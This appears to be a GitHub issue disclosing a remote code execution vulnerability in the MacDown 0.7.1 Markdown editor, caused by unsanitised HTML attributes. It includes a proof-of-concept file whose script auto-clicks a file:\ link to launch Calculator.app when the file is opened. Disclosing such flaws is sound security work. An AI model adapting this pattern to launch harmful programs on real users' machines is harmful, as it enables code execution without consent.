MacDownApp/macdown

Macdown Version 0.7.1 (870) Remote Code Execution

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#1.050 geöffnet am 28. Jan. 2019

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Beschreibung

Macdown Version 0.7.1 (870) Remote Code Execution

Macdown version 0.7.1 (870) is affected by a remote code execution vulnerability. Macdown fails to sanitize input on HTML attributes. Abusing thefile:\\ URI scheme on HTML attributes can result in arbitrary code execution. The attached proof of concept will execute the MacOS Calculator.app when opened inside of Macdown.

PoC (PoC.md):

<!DOCTYPE html>
<html>
<body>

<a href="file:\\\Applications\Calculator.app" id=exploit download>
  <img src="/images/exploit.jpg" alt="exploit" width="104" height="142">
</a>

<script>
(function download() {
    document.getElementById('exploit').click();
})()
</script>

</body>
</html>

Screenshot:

PoC.md.zip

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